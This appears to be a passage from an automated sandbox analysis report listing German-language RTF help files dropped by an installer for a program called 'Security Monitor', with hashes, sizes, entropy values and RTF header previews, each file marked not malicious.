SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-TURVD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-UJ33M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36262
Entropy (8bit):	5.030821265978035
Encrypted:	false
SSDEEP:	768:q4OkUx1ETicPI0QhhiLV/gKsmWgFdMXZ/6A9z:q44VUnSIA9z
MD5:	61D796543650EBE8C4A143DCAFAE4D24
SHA1:	54CD649E28D6442AA3946EE9891A156A68A3B2CB
SHA-256:	585B560159CC4BDB9361F30B002CE9AA44AD510FB30A61257076810146B2D918
SHA-512:	201BFB392E79FBC5A62A63610CD19B009ED98C54D5DF34B86C696C757175CD1DB3650B0CE0938C5C3529BD155C9E63E158D153588C723A1F968BDDBF05017A68
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdb

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\keyboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
SSDEEP:	768:BX9xd/KzuwlRIbQhOsWx1LCrLXI1nc9xi79Jd3z/ijPmhaohJZ/6A9h:BjsKuuIA9h
MD5:	84DEF6EB0D41C6B208DC679FBF4AAF91
SHA1:	4B6E6116E8EA25B37EF6DD43BB8062805E58A099
SHA-256:	22A596F719A6208B8EB3BF93A1025BBB9C92F31F5E3E6E37995AB58B4514B083
SHA-512:	A831344C2D1ED8E2E5339A890A6E2F96160333D90AB1469D0F20C0BF3034068AECCEF609443405E807E01F074B4E4D9CF3BD7A319B2B30FF10727D3644576453
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f297\fbidi \fswiss\fcharset204\fprq2{\\panose 00000000000000000000}Arial CYR;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 020405030504060

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\logging.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noPRO.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\noURL.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	64658
Entropy (8bit):	4.992463300868246
Encrypted:	false
SSDEEP:	768:qqFke4jXLHT2njX8x3TLjwUtqYepAkVZEdvI9voCgsKBd79zqfAx4thgC4jFBo73:qqYGoCgkQ8FIA9r
MD5:	79EAEF5F915091EA8A19A2D69C8312D9
SHA1:	E91E254C7772330094955B8F32835A703BD9483C
SHA-256:	D992C215B1031E0EB2BDF2262505BC1FA9E4C7DB122E31A0F63587C98427FFDD
SHA-512:	BE93BC4A17261703097AFB8F3044F4C0D0BEA076EFD694F7A166CF843BD143B951041FFF54F3A1D60869EA4DAA7EBC3E35D56C25BE991D218403A7D0B9B2C0AD
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\scheduler.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\screenshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\settings.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\siteblock.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\snapshot.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\websites.rtf (copy)

Download File

